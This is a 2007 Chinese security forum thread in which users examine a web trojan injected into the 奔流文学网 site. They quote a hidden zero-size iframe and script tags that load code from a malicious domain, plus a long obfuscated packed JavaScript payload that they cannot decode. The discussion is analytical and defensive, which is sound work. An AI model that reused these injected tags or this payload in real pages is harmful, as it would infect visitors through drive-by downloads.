奔流文学网网马

专家

你就不能弄个干净的win2k无补丁虚拟机跑么

promised

有是嵌在尾部的
</html><iframe src="http://www.6658588.cn/m69.htm" width=0 height=0></iframe>

The EQs

不习惯win2000.。。。还是winxp好。。。

专家

xp太耗资源，2k跑得更快，中招也非常容易

promised

好像还有猫腻
<script src=http://www.6658588.cn/0614.js></script>
iii
<script src='http://s61.cnzz.com/stat.php?id=473976&web_id=473976' language='JavaScript' charset='gb2312'></script>
<script language="javascript" src="http://count3.51yes.com/click.aspx?id=39562712&logo=12"></script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1088552.js"></script>

风野胤

hxxp://www.6658588.cn/m69.htm 用opera打不开
只是三个i在上面

promised

OPERA的缘故
猫腻在这里
<script src=http://www.6658588.cn/0614.js></script>
iii
<script src='http://s61.cnzz.com/stat.php?id=473976&web_id=473976' language='JavaScript' charset='gb2312'></script>
<script language="javascript" src="http://count3.51yes.com/click.aspx?id=39562712&logo=12"></script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1088552.js"></script>

[ 本帖最后由 promised 于 2007-7-6 15:57 编辑 ]

The EQs

1. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('10("\\d\\Y\\o\\m\\A\\v\\M\\o\\9\\V\\o\\k\\O\\S\\R\\U\\T\\n\\Q\\P\\a\\l\\9\\N\\9\\n\\c\\w\\9\\I\\G\\O\\y\\n\\11\\z\\8\\9\\s\\9\\J\\v\\o\\f\\M\\J\\i\\7\\1\\0\\3\\f\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\p\\7\\j\\i\\7\\1\\0\\4\\8\\1\\0\\2\\a\\1\\0\\2\\b\\1\\0\\2\\3\\1\\0\\2\\d\\1\\0\\2\\f\\7\\j\\k\\l\\Z\\O\\S\\R\\U\\T\\n\\Q\\P\\a\\g\\9\\w\\b\\A\\Y\\w\\o\\9\\t\\1\\0\\4\\b\\1\\0\\4\\3\\1\\0\\2\\f\\1\\0\\4\\e\\t\\x\\t\\1\\0\\8\\b\\1\\0\\4\\3\\1\\0\\2\\f\\1\\0\\4\\e\\t\\g\\9\\L\\9\\A\\w\\13\\9\\N\\9\\f\\X\\s\\t\\1\\0\\2\\p\\1\\0\\4\\3\\1\\0\\4\\3\\1\\0\\4\\e\\1\\0\\5\\c\\1\\0\\8\\d\\1\\0\\8\\d\\1\\0\\5\\e\\1\\0\\5\\e\\1\\0\\5\\e\\1\\0\\5\\a\\1\\0\\8\\b\\1\\0\\5\\2\\1\\0\\5\\2\\1\\0\\5\\6\\1\\0\\5\\p\\1\\0\\5\\6\\1\\0\\5\\p\\1\\0\\5\\p\\1\\0\\8\\b\\1\\0\\2\\5\\1\\0\\2\\b\\1\\0\\8\\d\\1\\0\\2\\3\\1\\0\\2\\d\\1\\0\\4\\4\\1\\0\\2\\b\\1\\0\\8\\b\\1\\0\\2\\6\\1\\0\\4\\p\\1\\0\\2\\6\\t\\g\\9\\u\\12\\u\\12\\n\\c\\w\\9\\v\\c\\B\\D\\c\\E\\n\\z\\F\\5\\s\\J\\v\\o\\f\\M\\J\\i\\7\\1\\0\\2\\3\\1\\0\\2\\d\\1\\0\\2\\5\\1\\0\\4\\6\\1\\0\\2\\f\\1\\0\\2\\6\\1\\0\\2\\b\\1\\0\\4\\3\\7\\j\\i\\7\\1\\0\\2\\5\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\3\\6\\1\\0\\2\\m\\1\\0\\2\\6\\1\\0\\2\\f\\1\\0\\2\\6\\1\\0\\2\\b\\1\\0\\4\\3\\7\\j\\k\\7\\1\\0\\2\\d\\1\\0\\2\\8\\1\\0\\2\\c\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\3\\7\\l\\g\\9\\v\\c\\B\\D\\c\\E\\n\\z\\F\\5\\i\\7\\1\\0\\4\\5\\1\\0\\2\\6\\1\\0\\4\\3\\1\\0\\3\\a\\1\\0\\4\\3\\1\\0\\4\\3\\1\\0\\4\\8\\1\\0\\2\\h\\1\\0\\2\\8\\1\\0\\4\\6\\1\\0\\4\\3\\1\\0\\2\\6\\7\\j\\k\\7\\1\\0\\2\\5\\1\\0\\2\\m\\1\\0\\2\\a\\1\\0\\4\\5\\1\\0\\4\\5\\1\\0\\2\\h\\1\\0\\2\\3\\7\\q\\7\\1\\0\\2\\5\\1\\0\\2\\m\\1\\0\\4\\5\\1\\0\\2\\h\\1\\0\\2\\3\\1\\0\\5\\c\\1\\0\\3\\8\\1\\0\\3\\3\\1\\0\\5\\h\\1\\0\\5\\2\\1\\0\\3\\5\\1\\0\\5\\6\\1\\0\\5\\6\\1\\0\\5\\2\\1\\0\\8\\f\\1\\0\\5\\2\\1\\0\\5\\6\\1\\0\\3\\a\\1\\0\\5\\5\\1\\0\\8\\f\\1\\0\\5\\a\\1\\0\\5\\a\\1\\0\\3\\3\\1\\0\\5\\e\\1\\0\\8\\f\\1\\0\\5\\h\\1\\0\\5\\p\\1\\0\\5\\5\\1\\0\\3\\a\\1\\0\\8\\f\\1\\0\\5\\e\\1\\0\\5\\e\\1\\0\\3\\5\\1\\0\\5\\e\\1\\0\\5\\3\\1\\0\\3\\2\\1\\0\\3\\5\\1\\0\\5\\8\\1\\0\\5\\h\\1\\0\\3\\6\\1\\0\\5\\5\\1\\0\\5\\2\\7\\l\\g\\9\\u\\12\\u\\12\\n\\c\\w\\9\\y\\o\\y\\K\\b\\G\\3\\s\\v\\c\\B\\D\\c\\E\\n\\z\\F\\5\\i\\7\\1\\0\\3\\5\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\3\\d\\1\\0\\2\\8\\1\\0\\2\\c\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\3\\7\\j\\k\\7\\1\\0\\3\\f\\1\\0\\2\\h\\1\\0\\2\\5\\1\\0\\4\\8\\1\\0\\2\\d\\1\\0\\4\\5\\1\\0\\2\\d\\1\\0\\2\\2\\1\\0\\4\\3\\1\\0\\8\\b\\1\\0\\6\\p\\7\\x\\7\\1\\0\\3\\f\\7\\x\\7\\1\\0\\3\\m\\7\\x\\7\\1\\0\\3\\p\\7\\x\\7\\1\\0\\6\\3\\7\\x\\7\\1\\0\\6\\3\\7\\x\\7\\1\\0\\6\\e\\7\\q\\7\\7\\l\\g\\9\\n\\c\\w\\9\\r\\C\\f\\6\\s\\v\\c\\B\\D\\c\\E\\n\\z\\F\\5\\i\\7\\1\\0\\3\\5\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\3\\d\\1\\0\\2\\8\\1\\0\\2\\c\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\3\\7\\j\\k\\7\\1\\0\\3\\a\\1\\0\\2\\3\\1\\0\\2\\d\\1\\0\\2\\3\\1\\0\\2\\8\\1\\0\\8\\b\\1\\0\\6\\5\\1\\0\\4\\3\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\2\\a\\1\\0\\2\\f\\7\\q\\7\\7\\l\\g\\9\\r\\C\\f\\6\\i\\7\\1\\0\\4\\3\\1\\0\\4\\h\\1\\0\\4\\e\\1\\0\\2\\6\\7\\j\\s\\a\\g\\9\\u\\12\\u\\12\\y\\o\\y\\K\\b\\G\\3\\i\\7\\1\\0\\2\\d\\1\\0\\4\\e\\1\\0\\2\\6\\1\\0\\2\\b\\7\\j\\k\\7\\1\\0\\3\\4\\1\\0\\3\\6\\1\\0\\6\\3\\7\\q\\9\\f\\X\\q\\e\\l\\g\\9\\y\\o\\y\\K\\b\\G\\3\\i\\7\\1\\0\\4\\5\\1\\0\\2\\6\\1\\0\\2\\b\\1\\0\\2\\3\\7\\j\\k\\l\\g\\9\\d\\o\\c\\r\\b\\a\\s\\V\\o\\k\\a\\e\\e\\e\\e\\l\\g\\9\\n\\c\\w\\9\\I\\2\\s\\v\\c\\B\\D\\c\\E\\n\\z\\F\\5\\i\\7\\1\\0\\3\\5\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\3\\d\\1\\0\\2\\8\\1\\0\\2\\c\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\3\\7\\j\\k\\7\\1\\0\\6\\5\\1\\0\\2\\5\\1\\0\\4\\8\\1\\0\\2\\h\\1\\0\\4\\e\\1\\0\\4\\3\\1\\0\\2\\h\\1\\0\\2\\b\\1\\0\\2\\4\\1\\0\\8\\b\\1\\0\\3\\2\\1\\0\\2\\h\\1\\0\\2\\m\\1\\0\\2\\6\\1\\0\\6\\5\\1\\0\\4\\h\\1\\0\\4\\5\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\2\\f\\1\\0\\3\\d\\1\\0\\2\\8\\1\\0\\2\\c\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\3\\7\\q\\7\\7\\l\\g\\9\\n\\c\\w\\9\\u\\12\\u\\12\\A\\r\\H\\s\\I\\2\\i\\7\\1\\0\\3\\4\\1\\0\\2\\6\\1\\0\\4\\3\\1\\0\\6\\5\\1\\0\\4\\e\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\2\\h\\1\\0\\2\\a\\1\\0\\2\\m\\1\\0\\3\\2\\1\\0\\2\\d\\1\\0\\2\\m\\1\\0\\2\\3\\1\\0\\2\\6\\1\\0\\4\\8\\7\\j\\k\\e\\l\\g\\9\\d\\o\\c\\r\\b\\a\\s\\9\\I\\2\\i\\7\\1\\0\\3\\8\\1\\0\\4\\6\\1\\0\\2\\h\\1\\0\\2\\m\\1\\0\\2\\3\\1\\0\\6\\e\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\p\\7\\j\\k\\A\\r\\H\\q\\d\\o\\c\\r\\b\\a\\l\\g\\9\\r\\C\\f\\6\\i\\7\\1\\0\\3\\d\\1\\0\\4\\e\\1\\0\\2\\6\\1\\0\\2\\b\\7\\j\\k\\l\\g\\r\\C\\f\\6\\i\\7\\1\\0\\6\\4\\1\\0\\4\\8\\1\\0\\2\\h\\1\\0\\4\\3\\1\\0\\2\\6\\7\\j\\k\\y\\o\\y\\K\\b\\G\\3\\i\\7\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\4\\5\\1\\0\\4\\e\\1\\0\\2\\d\\1\\0\\2\\b\\1\\0\\4\\5\\1\\0\\2\\6\\1\\0\\3\\8\\1\\0\\2\\d\\1\\0\\2\\3\\1\\0\\4\\h\\7\\j\\l\\g\\9\\r\\C\\f\\6\\i\\7\\1\\0\\6\\5\\1\\0\\2\\a\\1\\0\\4\\2\\1\\0\\2\\6\\1\\0\\6\\3\\1\\0\\2\\d\\1\\0\\3\\2\\1\\0\\2\\h\\1\\0\\2\\m\\1\\0\\2\\6\\7\\j\\u\\12\\u\\12\\k\\d\\o\\c\\r\\b\\a\\q\\8\\l\\g\\9\\r\\C\\f\\6\\i\\7\\1\\0\\3\\5\\1\\0\\2\\m\\1\\0\\2\\d\\1\\0\\4\\5\\1\\0\\2\\6\\7\\j\\k\\l\\g\\9\\n\\c\\w\\9\\W\\4\\s\\v\\c\\B\\D\\c\\E\\n\\z\\F\\5\\i\\7\\1\\0\\3\\5\\1\\0\\4\\8\\1\\0\\2\\6\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\3\\d\\1\\0\\2\\8\\1\\0\\2\\c\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\3\\7\\j\\k\\7\\1\\0\\6\\5\\1\\0\\2\\p\\1\\0\\2\\6\\1\\0\\2\\m\\1\\0\\2\\m\\1\\0\\8\\b\\1\\0\\3\\a\\1\\0\\4\\e\\1\\0\\4\\e\\1\\0\\2\\m\\1\\0\\2\\h\\1\\0\\2\\5\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\h\\1\\0\\2\\d\\1\\0\\2\\b\\7\\q\\7\\7\\l\\g\\9\\b\\0\\H\\a\\s\\I\\2\\i\\7\\1\\0\\3\\8\\1\\0\\4\\6\\1\\0\\2\\h\\1\\0\\2\\m\\1\\0\\2\\3\\1\\0\\6\\e\\1\\0\\2\\a\\1\\0\\4\\3\\1\\0\\2\\p\\7\\j\\k\\A\\r\\H\\x\\t\\1\\1\\1\\0\\4\\5\\1\\0\\4\\h\\1\\0\\4\\5\\1\\0\\4\\3\\1\\0\\2\\6\\1\\0\\2\\f\\1\\0\\5\\5\\1\\0\\5\\8\\t\\q\\t\\1\\0\\2\\5\\1\\0\\2\\f\\1\\0\\2\\3\\1\\0\\8\\b\\1\\0\\2\\6\\1\\0\\4\\p\\1\\0\\2\\6\\t\\l\\g\\9\\u\\12\\u\\12\\W\\4\\i\\7\\1\\0\\6\\5\\1\\0\\2\\p\\1\\0\\2\\6\\1\\0\\2\\m\\1\\0\\2\\m\\1\\0\\3\\6\\1\\0\\4\\p\\1\\0\\2\\6\\1\\0\\2\\5\\1\\0\\4\\6\\1\\0\\4\\3\\1\\0\\2\\6\\7\\j\\k\\b\\0\\H\\a\\q\\t\\9\\1\\0\\8\\d\\1\\0\\2\\5\\9\\t\\x\\d\\o\\c\\r\\b\\a\\q\\7\\7\\q\\7\\1\\0\\2\\d\\1\\0\\4\\e\\1\\0\\2\\6\\1\\0\\2\\b\\7\\q\\e\\l\\g\\9\\L\\9\\m\\c\\A\\m\\14\\k\\v\\l\\9\\N\\9\\v\\s\\a\\g\\9\\L")',62,67,'170|134|66|64|67|63|65|42|62|40|61|145|141|146|60|144|73|71|133|135|50|51|143|166|156|70|54|155|75|47|15|151|162|53|131|125|164|122|142|121|103|116|114|160|112|167|113|175|157|173|104|161|163|105|115|130|127|147|102|154|165|52|eval|110||171|150'.split('|'),0,{}))

复制代码

The EQs

上面这个不知道怎么解。。。。

promised

解密我不会
抓样本还是等人把
召唤毒王们

[ 本帖最后由 promised 于 2007-7-6 15:59 编辑 ]